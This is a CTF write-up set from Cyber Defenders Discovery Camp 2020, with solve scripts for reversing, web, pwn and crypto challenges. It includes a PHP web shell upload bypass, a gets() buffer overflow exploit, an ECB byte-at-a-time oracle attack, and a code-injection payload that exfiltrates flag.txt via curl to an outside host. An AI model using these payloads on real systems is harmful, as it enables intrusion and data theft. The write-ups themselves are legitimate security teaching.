Cyber Defenders Discovery Camp 2020

[RE (Windows)-2] Dissect Me

LET THE GAMES BEGIN!

Open Ghidra. Load binary. Go through the entire binary because its labelled reverse engineering, then find the Bitmap embedded in the binary.

[RE (Windows)-3] Cheat Me

Be patient :) Then you can get what you want.
[!W!A!R!N!I!N!G!] No cheating
# This program is running the CHEATING PREVENTION SYSTEM. #

        Be patient.
        Then, you can get what you want.
        ----------------------
        |  23  |  59  |  57  |
        ----------------------
Console program which will print the flag after 24 hours

After opening the binary in Ghidra, we find this chunk of code that loops until time is up:

  while( true ) {
    Sleep(1000);
    system("cls");
    uVar5 = (undefined)unaff_EDI;
    if (DAT_00403398 == -1) {
      if ((DAT_00403394 < 1) && (DAT_00403018 < 1)) {
        DAT_00403398 = 0;
      }
      else {
        DAT_00403394 = DAT_00403394 + -1;
        DAT_00403398 = 0x3b;
      }
    }
    if (DAT_00403394 == -1) {
      if (DAT_00403018 < 1) {
        DAT_00403394 = 0;
      }
      else {
        DAT_00403018 = DAT_00403018 + -1;
        DAT_00403394 = 0x3b;
      }
    }

Sleep(1000) makes each loop take a second. We can change 1000 to 0 so it loops faster.

Right click the instruction, select "Patch Instruction", change to 0, then File > Export Program (Use Format: Binary)

While faster, this will still take a good few minutes to run. We can also patch out DAT_00403398 = 0x3b; and DAT_00403394 = 0x3b;, resetting the minutes and seconds to 0 instead of 59.

This makes the binary print the flag almost instantly.

  while( true ) {
    Sleep(0);
    system("cls");
    uVar5 = (undefined)unaff_EDI;
    if (DAT_00403398 == -1) {
      if ((0 < DAT_00403394) || (0 < DAT_00403018)) {
        DAT_00403394 = DAT_00403394 + -1;
      }
      DAT_00403398 = 0;
    }
    if (DAT_00403394 == -1) {
      if (0 < DAT_00403018) {
        DAT_00403018 = DAT_00403018 + -1;
      }
      DAT_00403394 = 0;
    }
Patched

Great Sphinx of Unduplicitous Corp

We discovered Unduplicitous Corp's training site for their engineers. The instructions were pretty clear: get to Stage 100 as soon as possible!
Challenge Site

A script with BeautifulSoup makes quick work of this.

import requests
from bs4 import BeautifulSoup

HOST =  "http://great-sphinx.chall.cddc2020.nshc.sg:1111/"

s = requests.Session()

r = s.get(HOST)

for i in range(101):
    soup = BeautifulSoup(r.text, "html.parser")
    print(r.text)
    stage = soup.find(class_="stage").text
    argv_1 = int(soup.find(class_="quiz_argv_1").text)
    argv_2 = int(soup.find(class_="quiz_argv_2").text)
    quiz_operator = soup.find(class_="quiz_operator").text

    print(f'Stage {stage}: {argv_1}{quiz_operator}{argv_2}')

    if quiz_operator == '/':
        ans = argv_1 / argv_2
    elif quiz_operator == '*':
        ans = argv_1 * argv_2
    elif quiz_operator == '-':
        ans = argv_1 - argv_2
    elif quiz_operator == '+':
        ans = argv_1 + argv_2
    else:
        print(f'Unknown op {quiz_operator}')

    r = s.get(HOST, params={"answer": ans})

Greater Sphinx of Unduplicitous Corp

Ahhh, yet another one. This time round, get to Stage 50 as soon as possible.

Similar concept, except the arguments and operators are now images instead of text. Pytesseract works relatively well:

  1. It dosen't have perfect accuracy. Limiting the character set helps, but while True fixes this :)
  2. It dosen't well on the operators. Since the operators are actually the same image but with a different name, we can just hash the image to identify the operator.
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin
import subprocess
import os

from PIL import Image
import pytesseract

HOST =  "http://greater-sphinx.chall.cddc2020.nshc.sg:9999/"

s = requests.Session()

r = s.get(HOST)

ops = {
    "ba3d4161ee1d145a9d1e9b5c16ce9295": "-",
    "faabae8ad256bf7b43d2f8e587757de6": "*",
    "fe538413c30e6679445277edb9eeed2b": "+",
    "2744caaaa50bd3223d39e8f302449b05": "/"
}

def resolve(soup, val, charset):
    src = soup.find(class_=val).find("img").get("src")
    subprocess.Popen(["wget", urljoin(HOST, src), "-O", "out.png"], stdout=open(os.devnull, "wb")).wait()

    img = Image.open("out.png")

    new_size = tuple(2*x for x in img.size)
    img = img.resize(new_size, Image.ANTIALIAS)

    img.save("out.png")

    h = subprocess.check_output(["md5sum", "out.png"]).split(b" ")[0].decode("utf8")
    if h in ops:
        return ops[h]

    res = pytesseract.image_to_string(img, config=charset)
    if len(res) == 0:
        raise Exception("Failed to OCR")
    print(f'Recovered {res} from {src}')
    return res

while True:
    soup = BeautifulSoup(r.text, "html.parser")
    if "CDDC" in soup.text:
        print(soup.text)
        break
    stage = soup.find(class_="stage").text
    argv_1 = int(resolve(soup, "quiz_argv_1", "-c tessedit_char_whitelist=0123456789"))
    argv_2 = int(resolve(soup, "quiz_argv_2", "-c tessedit_char_whitelist=0123456789"))
    quiz_operator = resolve(soup, "quiz_operator", "-c tessedit_char_whitelist=+-*/")

    print(f'Stage {stage}: {argv_1}{quiz_operator}{argv_2}')

    if quiz_operator == '/':
        ans = argv_1 / argv_2
    elif quiz_operator == '*':
        ans = argv_1 * argv_2
    elif quiz_operator == '-':
        ans = argv_1 - argv_2
    elif quiz_operator == '+':
        ans = argv_1 + argv_2
    else:
        print(f'Unknown op {quiz_operator}')
        break

    r = s.get(HOST, params={"answer": ans})

Ma GIFs

Well apparently, the CTO of Unduplicitous Corp love, love, LOVE GIFs! ;)

Website supporting GIF uploads.

Upon uploading a GIF, we see this:

This resembles the classic "bypass protections and upload a web shell" challenge for a few reasons:

  1. Ability to upload files
  2. Files seem to retain their original name (and critically, extension)
  3. The application is built on PHP

The trick here is that the web server decides how to parse a file based on the extension. If the file extension is .php, the server actually executes the file on the back end.

Well, time to test the limits. We find that naming a file test.gif is good enough, even if it does not contain a valid GIF. What happens when we upload something with another extension then?

Sorry, we only allow uploading of GIFs hehe :)

Okay, lets take a look at the web request then (the more conventional tool for this is Burp Suite), but I use Fiddler.

POST request when image is uploaded

We see two interesting parts:

  1. The filename test.gif is sent
  2. Content-Type: image/gif is sent along

What if the server was identifying file type based on the Content-Type header rather than the actual file name? We can modify and resend the request, changing filename to test.php (so that the server will execute the contents of the file we upload).

Modifying requests
Changing filename to end with .php

Hey look, we uploaded a .php  file successfully. We can write in a more useful payload like <?php system($_GET["req"]); which gets us a shell.

Quick bit of ls around, we find the flag.

Secret Code

What is the SECRET CODE?

Decompile with Ghidra:

puts("         __                                     _           ");
puts(" / / _   ) )     _   ) o  _ o _)_ _       _    / ` _   _ _  ");
puts("(_/ ) ) /_/ (_( )_) (  ( (_ ( (_ (_) (_( (    (_. (_) ) )_) ");
puts("               (                         _)            (    \n");
printf("[S][E][C][R][E][T] [C][O][D][E]: ");
__isoc99_scanf(&DAT_000109b2,&local_18);
if (local_18 == -0xff23502) {
  check(0xf00dcafe);
}
else {
  check(local_18);
}
Relevant portion of main()
void check(uint param_1)
{
  int in_GS_OFFSET;
  byte i;
  undefined4 local_37;
  undefined4 local_33;
  undefined4 local_2f;
  undefined4 local_2b;
  undefined4 local_27;
  undefined2 local_23;
  undefined local_21;
  int local_20;
  
  __x86.get_pc_thunk.ax();
  local_20 = *(int *)(in_GS_OFFSET + 0x14);
  local_37 = 0x43444443;
  local_33 = 0x457b3032;
  local_2f = 0x567a7135;
  local_2b = 0x7a347036;
  local_27 = 0x6b653b5a;
  local_23 = 0x7d73;
  local_21 = 0;
  if ((param_1 + 0x33e0f923 ^ 0x23eec421 | (uint)(0xcc1f06dc < param_1) - 1) == 0) {
    i = 0;
    while (i < 0xe) {
      *(byte *)((int)&local_33 + (uint)i + 3) = i ^ *(byte *)((int)&local_33 + (uint)i + 3);
      i = i + 1;
    }
    puts((char *)&local_37);
  }
  if (local_20 != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}
check(arg)

We see here that user input is read, then passed to check. If the user input matches certain conditions, something is done to that suspicious looking block of data (starting at local_37) which is then printed out.

Whats in that chunk of data then? After accounting for endianness, we get CDDC20{E5qzV6p4zZ;ek..s}. That while loop below must be "decrypting" this data.

i = 0;
while (i < 0xe) {
  *(&local_33 + i + 3) = i ^ *(&local_33 + i + 3);
  i = i + 1;
}
Typecasts have been removed to make things clearer

&local_33 + i + 3 is "take the address of local_33, then add i and 3". Wrapping the whole thing with *() gets the value at the position. This is equivalent to "E5qzV6p4zZ;ek..s"[i] in Python.

We see that the while loop simply XORs each byte of data between { and } with the position.

We can reverse this with a script easily:

data = list("CDDC20{E5qzV6p4zZ;eks}")

for i in range(14):
    data[4 + 3 + i] = chr(i ^ ord(data[4 + 3 + i]))

print("".join(data))


Suspicious Service

While conducting reconnaissance on Unduplicitous Corp, we found a suspicious service. Let's figure out what this is.
undefined4 main(void)
{
  undefined local_10c [256];
  int local_c;
  
  setbuf(stdin,0);
  setbuf(stdout,0);
  setbuf(stderr,0);
  local_c = 0x12345678;
  gets(local_10c);
  if (local_c == 0x1343d00) {
    system("cat flag");
  }
  return 0;
}
Decompiled main()

A few things happen here:

  1. local_c is set to 0x12345678
  2. A string is read into local_10c
  3. If local_c is equal to 0x1343d00, the flag is printed

Well that obviously looks impossible - local_c is never set to 0x1343d00. There must be a way for gets to change the value of local_c.

Lets take a look at what happens when gets runs.

local_c and local_10c are defined on the stack, like so:

local_10c +000h: xx
local_10c +001h: xx
local_10c +002h: xx
local_10c +003h: xx
...
local_10c +0FFh: xx
local_c   +000h: 78
local_c   +001h: 56
local_c   +002h: 34
local_c   +003h: 12
0x78 is stored at local_c +00h because the system uses little endian (ie most significant byte at the lowest address)

When gets reads in a string, it reads until a newline (a user presses enter) or EOF is reached. The stack looks like this after entering "ABCDEFGH":

local_10c +000h: 41
local_10c +001h: 42
local_10c +002h: 43
local_10c +003h: 44
...
local_10c +0FFh: xx
local_c   +000h: 78
local_c   +001h: 56
local_c   +002h: 34
local_c   +003h: 12
Stack after entering "ABCDEFGH"

We see from the decompilation that local_10c is defined as a 256 byte array. gets then writes into this 256 byte array. If I were to write 256 As:

local_10c +000h: 41
local_10c +001h: 41
local_10c +002h: 41
local_10c +003h: 41
...
local_10c +0FFh: 41
local_c   +000h: 78
local_c   +001h: 56
local_c   +002h: 34
local_c   +003h: 12
Stack after entering "A" * 256

What happens if we were to write 257 As then?

local_10c +000h: 41
local_10c +001h: 41
local_10c +002h: 41
local_10c +003h: 41
...
local_10c +0FFh: 41
local_c   +000h: 41
local_c   +001h: 56
local_c   +002h: 34
local_c   +003h: 12
Stack after entering "A" * 257

Whoops! We've overflowed the buffer and started writing into local_c! This is why unbounded functions like gets are extremely dangerous and should not be used.

With that, all we have to do is send in A * 256 then the magic value the binary is checking for (accounting for endianness):

$ python -c 'print("A" * 256 + "\x00\x3d\x34\x01")' | nc ss.chall.cddc2020.nshc.sg 7777
CDDC20{BufferrrrrrrrrOverflowwwwwwwwwwwwwwwwwwwww}

Hello

You, as the resistance fighter found the office number of UnduplicitousCorp HQ. However, upon calling the number you were met with a dead tone follwed by a robotic sounding message:

'Hello~ I'm going out for a while.
Please leave a message.'

We're given the following code:

from Crypto.Hash import SHA256
from Crypto.Cipher.AES import AESCipher

flag = "CDDC20{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}" # Find this :)
block_size = ??

def hello():
	sys.stdout.write("Hello~ Please leave a *Base64* message: ")
	text = raw_input()

	return text

def noor2ro(text):
	h = SHA256.new()
	h.update(flag)
	key = h.digest()
	
	try:
		text2 = 'noor2ro' + text.decode('base64') + flag
	except:
		print "Please enter the correct Base64 input."
		exit()

	padding = block_size - (len(text2) % block_size)
	text2 += 'A' * padding
	cipher = AESCipher(key).encrypt(text2).encode('base64')

	return cipher

if __name__ == '__main__':
	text = hello()
	print "Just a moment. . ."
	enc = noor2ro(text)
	print "The message has been encrypted.\n\n", enc

Looks familiar?

from pwn import *
import base64

context.log_level = "error"

def send(val):
    r = remote("hello.chall.cddc2020.nshc.sg", 12345)
    r.sendlineafter("message: ", base64.b64encode(val.encode("utf-8")))
    r.recvuntil("encrypted.\n\n")
    blocks = b''
    while True:
        line = r.recvline()
        if line == b'\n':
            break
        
        blocks += base64.b64decode(line.strip())
    return blocks

# for i in range(16):
#     print(i, len(send("A" * i)))

# len jumps from 64 to 80, hence 16 byte block size

blocksize = 16
def encrypt(val):
    blocks = send(val)
    return [blocks[i:i+blocksize] for i in range(0, len(blocks), blocksize)]

# how many bytes there are before the user controllable message
len_junk = 7
# enough bytes to contain junk + flag, align to block
len_work = 64

target_block_len = (len_work // blocksize)

flag = ""

while len(flag) == 0 or flag[-1] != "}":

    found = False
    for i in range(0x20, 0x7f):
        target_len = (target_block_len * blocksize) - len_junk

        # known flag + 1 test char
        payload = flag + chr(i)
        payload = payload.rjust(target_len)
        print(f"check: {payload} ({len(payload)})")
        known = encrypt(payload)

        payload = flag
        # subtract 1 so that the next unknown character is right at the boundary
        payload = " " * (target_len - len(flag) - 1)
        print(f"test : {payload} ({len(payload)})")
        check = encrypt(payload)

        if known[target_block_len - 1] == check[target_block_len - 1]:
            flag += chr(i)
            print(flag)
            found = True
            break
    
    if not found:
        print("Failed to recover")
        break

BACK TO SCHOOL

The CTO of Unduplicitous Corp has decided to send his minions for an "Intensive AI Training Course". We wonder what is the curriculum all about...

Note:
The extracted data does not include the flag format "CDDC20{}". Add in the flag format "CDDC20{}" during submission and ensure that the flag string is fully in uppercase, i.e. CDDC20{SAMPLEFLAG}.

We're asked to do math:

intf("- Input 1: ");
__isoc99_scanf(&DAT_00101632,&local_98);
local_70 = local_98 * 14.00000000 + local_98 * (local_98 + local_98) + 12.00000000;
if (local_70 == 0.00000000) {
  printf((char *)0x0,"- Input 2: ");
  __isoc99_scanf(&DAT_00101632,&local_90);
  local_68 = local_90 * 3.00000000 + local_90 * local_90 + 2.00000000;
  if (local_68 == 0.00000000) {
    printf((char *)0x0,"- Input 3: ");
    __isoc99_scanf(&DAT_00101632,&local_88);
    local_60 = (local_88 * local_88 - local_88 * 4.00000000) + 3.00000000;
    if (local_60 == 0.00000000) {
      printf((char *)0x0,"- Input 4: ");
      __isoc99_scanf(&DAT_00101632,&local_80);
      local_58 = (local_80 * local_80 - local_80 * 8.00000000) + 16.00000000;
      if (local_58 == 0.00000000) {
        printf((char *)0x0,"- Input 5: ");
        __isoc99_scanf(&DAT_00101632,&local_78);
        local_50 = (local_78 * local_78 - (local_78 + local_78)) - 3.00000000;
        if (local_50 == 0.00000000) {
          puts("\nCLASS 2 ------------------------------------+");
          puts("- Equation a1x + b1y = c1 ");
          printf("a1 = ");
          __isoc99_scanf(&DAT_00101632,in_a1);
          printf("b1 = ");
          __isoc99_scanf(&DAT_00101632,in_b1);
          printf("c1 = ");
          __isoc99_scanf(&DAT_00101632,in_c1);
          puts("- Equation a2x + b2y = c2 ");
          printf("a2 = ");
          __isoc99_scanf(&DAT_00101632,in_a2);
          printf("b2 = ");
          __isoc99_scanf(&DAT_00101632,in_b2);
          printf("c2 = ");
          __isoc99_scanf(&DAT_00101632,in_c2);
          iVar1 = FUN_0010083a(local_80,in_a1,in_a2,in_a2);
Partial decompilation of main()

We need to key in 6 numbers which satisfy certain conditions like x * 14 + x * (x + x) + 12 == 0). Well, I'm not going to do math. Z3 will handle the first 6 cases.

We're then asked to key in 6 more numbers satisfying two simultaneous equations.

We can make full use of Z3 to solve the dizzying array of checks:

from z3 import *
from pwn import *

context.log_level = "debug"

r = process('./BTS')

# input 1

x = Int("x")
s = Solver()
s.add((x * 14 + x * (x + x) + 12) == 0)
s.check()
r.sendline(str(s.model()[x]))

# input 2

x = Int("x")
s = Solver()
s.add((x * 3 + x * x + 2) == 0)
s.check()
r.sendline(str(s.model()[x]))

# input 3

x = Int("x")
s = Solver()
s.add(((x * x - x * 4) + 3) == 0)
s.check()
r.sendline(str(s.model()[x]))

# input 4

x = Int("x")
s = Solver()
s.add(((x * x - x * 8) + 16) == 0)
s.check()
r.sendline(str(s.model()[x]))

# input 5

x = Int("x")
s = Solver()
s.add(((x * x - (x + x)) - 3) == 0)
s.check()
r.sendline(str(s.model()[x]))

# simul equations
# b2 = 16 seems correct

a1, b1, c1, a2, b2, c2 = Ints("a1 b1 c1 a2 b2 c2")

x, y = Ints("x y")

s = Solver()
s.add(a1*x + b1*y == c1)
s.add(a2*x + b2*y == c2)

l80 = Int("l80")
l88 = Int("l88")

s.add(a1 != 0)

# s.add(l80 == (c1 / b2))
# s.add(l88 == ((c2 - b2 * l80) / a2))

s.add(l80 == (( ((a1 * c2) - (a2 * c1)) / ((a1 * b2) - (a2 * b1)) )))
s.add(l88 == ( (c1 - b1 * l80) / a1) )

s.add(l88 == 12)
s.add(l80 == 5)

s.add(a1 != b1)
s.add(a2 != b2)

s.add(c1 == 284)
s.add(c2 == 164)
s.check()

print(s.model())

def p(val):
    return str(val)
    # x2 = val.as_fraction()
    # return str(float(x2.numerator) / float(x2.denominator))

r.sendline(p(s.model()[a1]))
r.sendline(p(s.model()[b1]))
r.sendline(p(s.model()[c1]))

r.sendline(p(s.model()[a2]))
r.sendline(p(s.model()[b2]))
r.sendline(p(s.model()[c2]))

r.interactive()

...which then throws out....a partial flag \xd\xe1\xf4\xe8\xf3OLVER?!

local_38[0] = (int)((double)inp_1[1] * param_1 - 35.00000000);
local_38[1] = (int)((double)inp_1[1] * param_1 - 47.00000000);
local_38[2] = (int)((double)inp_1[1] * param_1 - 28.00000000);
local_38[3] = (int)((double)inp_1[1] * param_1 - 40.00000000);
local_28 = (int)((double)inp_1[1] * param_1 - 29.00000000);
local_24 = (int)((double)inp_2[1] * param_1 + 15.00000000);
local_20 = (int)((double)inp_2[1] * param_1 + 12.00000000);
local_1c = (int)((double)inp_2[1] * param_1 + 22.00000000);
local_18 = (int)((double)inp_2[1] * param_1 + 5.00000000);
local_14 = (int)((double)inp_2[1] * param_1 + 18.00000000);
putchar(10);
local_8c = 0;
while (local_8c < 10) {
  putchar(local_38[local_8c]);
  local_8c = local_8c + 1;
}
Relevant portion of FUN_0010083a that prints the flag

Taking a look at the printing code, its quite obvious what happened. The first half of the flag relies on inp_1, while the second half of the flag relies on inp_2. It appears we got inp_2[1] correct.

At this point, in the interest of time, we can bruteforce inp_1 until we get something that makes sense:

import sys

param_1 = 4
b2 = 16

offsets = [-35, -47, -28, -40, -29, 15, 12, 22, 5, 18]

for b1 in range(32):
    try:
        for i, o in enumerate(offsets):
            if i <= 4:
                sys.stdout.write(chr(b1 * param_1 + o))
            else:
                sys.stdout.write(chr(b2 * param_1 + o))
        
        print()
    except:
        pass

we see MATHSOLVER which looks legible enough.

Head-Rays

Hex-Rays? We don't need it :P
We have something better: Head-Rays!

We get a bunch of Lua bytecode:

; Function:        0
; Defined at line: 0
; #Upvalues:       0
; #Parameters:     0
; Is_vararg:       2
; Max Stack Size:  34

    0 [-]: CLOSURE   R0 0         ; R0 := closure(Function #0_0)
    1 [-]: CLOSURE   R1 1         ; R1 := closure(Function #0_1)
    2 [-]: NEWTABLE  R2 24 0      ; R2 := {} (size = 24,0)
    3 [-]: LOADK     R3 K1        ; R3 := 69
    4 [-]: LOADK     R4 K2        ; R4 := 66
    5 [-]: LOADK     R5 K2        ; R5 := 66
    6 [-]: LOADK     R6 K1        ; R6 := 69
    7 [-]: LOADK     R7 K3        ; R7 := 52
    8 [-]: LOADK     R8 K4        ; R8 := 54
    9 [-]: LOADK     R9 K5        ; R9 := 125
   10 [-]: LOADK     R10 K6       ; R10 := 84
   11 [-]: LOADK     R11 K7       ; R11 := 99
   12 [-]: LOADK     R12 K8       ; R12 := 112
   13 [-]: LOADK     R13 K7       ; R13 := 99
   14 [-]: LOADK     R14 K9       ; R14 := 116
   15 [-]: LOADK     R15 K10      ; R15 := 117
   16 [-]: LOADK     R16 K11      ; R16 := 55
   17 [-]: LOADK     R17 K12      ; R17 := 104
   18 [-]: LOADK     R18 K13      ; R18 := 97
   19 [-]: LOADK     R19 K14      ; R19 := 89
   20 [-]: LOADK     R20 K15      ; R20 := 74
   21 [-]: LOADK     R21 K16      ; R21 := 115
   22 [-]: LOADK     R22 K17      ; R22 := 103
   23 [-]: LOADK     R23 K14      ; R23 := 89
   24 [-]: LOADK     R24 K17      ; R24 := 103
   25 [-]: LOADK     R25 K10      ; R25 := 117
   26 [-]: LOADK     R26 K10      ; R26 := 117
   27 [-]: LOADK     R27 K7       ; R27 := 99
   28 [-]: LOADK     R28 K18      ; R28 := 107
   29 [-]: LOADK     R29 K19      ; R29 := 100
   30 [-]: LOADK     R30 K20      ; R30 := 106
   31 [-]: LOADK     R31 K21      ; R31 := 127
   32 [-]: LOADK     R32 K22      ; R32 := 39
   33 [-]: LOADK     R33 K23      ; R33 := 123
   34 [-]: SETLIST   R2 31 1      ; R2[0] to R2[30] := R3 to R33 ; R(a)[(c-1)*FPF+i] := R(a+i), 1 <= i <= b, a=2, b=31, c=1, FPF=50
   35 [-]: SETGLOBAL R2 K0        ; a := R2
   36 [-]: LOADK     R2 K24       ; R2 := 1
   37 [-]: GETGLOBAL R3 K0        ; R3 := a
   38 [-]: LEN       R3 R3        ; R3 := #R3
   39 [-]: LOADK     R4 K24       ; R4 := 1
   40 [-]: FORPREP   R2 9         ; R2 -= R4; pc += 9 (goto 50)
   41 [-]: GETGLOBAL R6 K0        ; R6 := a
   42 [-]: GETGLOBAL R7 K25       ; R7 := string
   43 [-]: GETTABLE  R7 R7 K26    ; R7 := R7["char"]
   44 [-]: MOVE      R8 R0        ; R8 := R0
   45 [-]: GETGLOBAL R9 K0        ; R9 := a
   46 [-]: GETTABLE  R9 R9 R5     ; R9 := R9[R5]
   47 [-]: CALL      R8 2 0       ; R8 to top := R8(R9)
   48 [-]: CALL      R7 0 2       ; R7 := R7(R8 to top)
   49 [-]: SETTABLE  R6 R5 R7     ; R6[R5] := R7
   50 [-]: FORLOOP   R2 -10       ; R2 += R4; if R2 <= R3 then R5 := R2; PC += -10 , goto 41 end
   51 [-]: GETGLOBAL R2 K27       ; R2 := table
   52 [-]: GETTABLE  R2 R2 K28    ; R2 := R2["concat"]
   53 [-]: GETGLOBAL R3 K0        ; R3 := a
   54 [-]: LOADK     R4 K29       ; R4 := ""
   55 [-]: CALL      R2 3 2       ; R2 := R2(R3 to R4)
   56 [-]: MOVE      R3 R1        ; R3 := R1
   57 [-]: MOVE      R4 R2        ; R4 := R2
   58 [-]: CALL      R3 2 2       ; R3 := R3(R4)
   59 [-]: MOVE      R2 R3        ; R2 := R3
   60 [-]: GETGLOBAL R3 K30       ; R3 := print
   61 [-]: MOVE      R4 R2        ; R4 := R2
   62 [-]: CALL      R3 2 1       ;  := R3(R4)
   63 [-]: RETURN    R0 1         ; return 


; Function:        0_0
; Defined at line: 2
; #Upvalues:       0
; #Parameters:     1
; Is_vararg:       0
; Max Stack Size:  7

    0 [-]: LOADK     R1 K1        ; R1 := 6
    1 [-]: SETGLOBAL R1 K0        ; b := R1
    2 [-]: LOADK     R1 K2        ; R1 := 1
    3 [-]: LOADK     R2 K3        ; R2 := 0
    4 [-]: LT        0 K3 R0      ; if 0 < R0 then goto 6 else goto 24
    5 [-]: JMP       18           ; PC += 18 (goto 24)
    6 [-]: GETGLOBAL R3 K0        ; R3 := b
    7 [-]: LT        0 K3 R3      ; if 0 < R3 then goto 9 else goto 24
    8 [-]: JMP       15           ; PC += 15 (goto 24)
    9 [-]: MOD       R3 R0 K4     ; R3 := R0 % 2
   10 [-]: GETGLOBAL R4 K0        ; R4 := b
   11 [-]: MOD       R4 R4 K4     ; R4 := R4 % 2
   12 [-]: EQ        1 R3 R4      ; if R3 ~= R4 then goto 14 else goto 15
   13 [-]: JMP       1            ; PC += 1 (goto 15)
   14 [-]: ADD       R2 R2 R1     ; R2 := R2 + R1
   15 [-]: SUB       R5 R0 R3     ; R5 := R0 - R3
   16 [-]: DIV       R5 R5 K4     ; R5 := R5 / 2
   17 [-]: GETGLOBAL R6 K0        ; R6 := b
   18 [-]: SUB       R6 R6 R4     ; R6 := R6 - R4
   19 [-]: DIV       R6 R6 K4     ; R6 := R6 / 2
   20 [-]: MUL       R1 R1 K4     ; R1 := R1 * 2
   21 [-]: SETGLOBAL R6 K0        ; b := R6
   22 [-]: MOVE      R0 R5        ; R0 := R5
   23 [-]: JMP       -20          ; PC += -20 (goto 4)
   24 [-]: GETGLOBAL R3 K0        ; R3 := b
   25 [-]: LT        0 R0 R3      ; if R0 < R3 then goto 27 else goto 28
   26 [-]: JMP       1            ; PC += 1 (goto 28)
   27 [-]: GETGLOBAL R0 K0        ; R0 := b
   28 [-]: LT        0 K3 R0      ; if 0 < R0 then goto 30 else goto 39
   29 [-]: JMP       9            ; PC += 9 (goto 39)
   30 [-]: MOD       R3 R0 K4     ; R3 := R0 % 2
   31 [-]: LT        0 K3 R3      ; if 0 < R3 then goto 33 else goto 34
   32 [-]: JMP       1            ; PC += 1 (goto 34)
   33 [-]: ADD       R2 R2 R1     ; R2 := R2 + R1
   34 [-]: SUB       R4 R0 R3     ; R4 := R0 - R3
   35 [-]: DIV       R4 R4 K4     ; R4 := R4 / 2
   36 [-]: MUL       R1 R1 K4     ; R1 := R1 * 2
   37 [-]: MOVE      R0 R4        ; R0 := R4
   38 [-]: JMP       -11          ; PC += -11 (goto 28)
   39 [-]: RETURN    R2 2         ; return R2
   40 [-]: RETURN    R0 1         ; return 


; Function:        0_1
; Defined at line: 19
; #Upvalues:       0
; #Parameters:     1
; Is_vararg:       0
; Max Stack Size:  6

    0 [-]: GETGLOBAL R1 K0        ; R1 := string
    1 [-]: GETTABLE  R1 R1 K1     ; R1 := R1["gsub"]
    2 [-]: MOVE      R2 R0        ; R2 := R0
    3 [-]: LOADK     R3 K2        ; R3 := "i"
    4 [-]: LOADK     R4 K3        ; R4 := "1"
    5 [-]: LOADK     R5 K4        ; R5 := 2
    6 [-]: CALL      R1 5 2       ; R1 := R1(R2 to R5)
    7 [-]: MOVE      R0 R1        ; R0 := R1
    8 [-]: GETGLOBAL R1 K0        ; R1 := string
    9 [-]: GETTABLE  R1 R1 K1     ; R1 := R1["gsub"]
   10 [-]: MOVE      R2 R0        ; R2 := R0
   11 [-]: LOADK     R3 K5        ; R3 := "a"
   12 [-]: LOADK     R4 K6        ; R4 := "4"
   13 [-]: LOADK     R5 K7        ; R5 := 1
   14 [-]: CALL      R1 5 2       ; R1 := R1(R2 to R5)
   15 [-]: MOVE      R0 R1        ; R0 := R1
   16 [-]: GETGLOBAL R1 K0        ; R1 := string
   17 [-]: GETTABLE  R1 R1 K1     ; R1 := R1["gsub"]
   18 [-]: MOVE      R2 R0        ; R2 := R0
   19 [-]: LOADK     R3 K8        ; R3 := "e"
   20 [-]: LOADK     R4 K9        ; R4 := "3"
   21 [-]: LOADK     R5 K4        ; R5 := 2
   22 [-]: CALL      R1 5 2       ; R1 := R1(R2 to R5)
   23 [-]: MOVE      R0 R1        ; R0 := R1
   24 [-]: RETURN    R0 2         ; return R0
   25 [-]: RETURN    R0 1         ; return 

which we can convert to Python with some help.

# [int(l.split("= ")[1]) for l in d.splitlines()]
a = [69, 66, 66, 69, 52, 54, 125, 84, 99, 112, 99, 116, 117, 55, 104, 97, 89, 74, 115, 103, 89, 103, 117, 117, 99, 107, 100, 106, 127, 39, 123]

def closure_0(R0):
    R1 = 6
    b = R1
    R1 = 1
    R2 = 0

    while True:
        if 0 < R0:
            R3 = b

            if 0 < R3:
                pass
            else:
                break
        else:
            break
        R3 = R0 % 2
        R4 = b
        R4 = R4 % 2
        if R3 != R4:
            R2 = R2 + R1
        
        R5 = R0 - R3
        R5 = R5 / 2
        R6 = b
        R6 = R6 - R4
        R6 = R6 / 2
        R1 = R1 * 2

        b = R6
        R0 = R5
    
    R3 = b
    if R0 < R3:
        R0 = b
    
    while 0 < R0:
        R3 = R0 % 2
        
        if 0 < R3:
            R2 = R2 + R1
        
        R4 = R0 - R3
        R4 = R4 / 2
        R1 = R1 * 2
        R0 = R4
    return R2

def closure_1(s):
    return s.replace("i", "1", 2).replace("a", "4", 1).replace("e", "3", 2)

for i in range(len(a)):
    a[i] = chr(closure_0(a[i]))

print(closure_1("".join(a)))

3-DCS

Welcome to 3-DCS (Triple Data Compiling Standard) System!

We get a substantial chunk of Python code. The relevant portions:

def handshaking(c_code, rounds=3) : 
    c_code = 'char*d="' + c_code 
    c_code +='''",o[3217];
int t=640,i,r,w,f,b,p,x;n(){return r<t?d[(*d+100+(r++))%t]:r>+1340?59:(x=d[(r++-t)%351+t]
)?x^(p?6:0):(p=+34);}main(){w=sprintf(o,"char*d=");r=p=0;for(f=1;f<*d+100;)if((b=d[f++])-33){
if(b<+93){if(!p)o[w++]=34;for(i=35+(p?0:1);i<b;i++)o[w++]=n();o[w++]=p?n():+34;}
else for(i=92;i<b;i++)o[w++]=32;}else o[w++]=10;o[w]=0;puts(o);};/*cddc_ctf*/;'''

    print "[+] Ready to compile ..." 
    print "[+] ---------------------------------------------------------------------------------|"
    print c_code 
    print "[+] ---------------------------------------------------------------------------------/"

    round_result = []
    for i in range(rounds) : 
        c_code = compile_and_run(c_code) 
        round_result.append(c_code)

    return round_result 

def main():
    print greeting

    c_code = raw_input("Login token : ")
    check(c_code)
    round_result = handshaking(c_code)          

    print "\nLogin succeeded!\n"  
    for i in range(len(round_result)) : 
        print "[+] round {} --------------------------------------------------------|\n".format(i+1) 
        print round_result[i] 

    print "\nGood bye!\n"  

Hmm, you're going to let me run arbitrary code on your system? Well...

from pwn import *

context.log_level = "debug"

r = remote("3-dcs.chall.cddc2020.nshc.sg", 9011)
r.sendlineafter("token : ", '"; main(){system("curl justins.in/`cat flag.txt`");}/*')
r.interactive()

Wanna PK

His name is Red, he is strong and muscular.

I heard that the CTO of UnduplicitousCorp is a big fan of him.

We're given an unlabeled binary file:

$ file How_can_I_fight
How_can_I_fight: Zip archive data, at least v2.0 to extract
$ binwalk How_can_I_fight

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
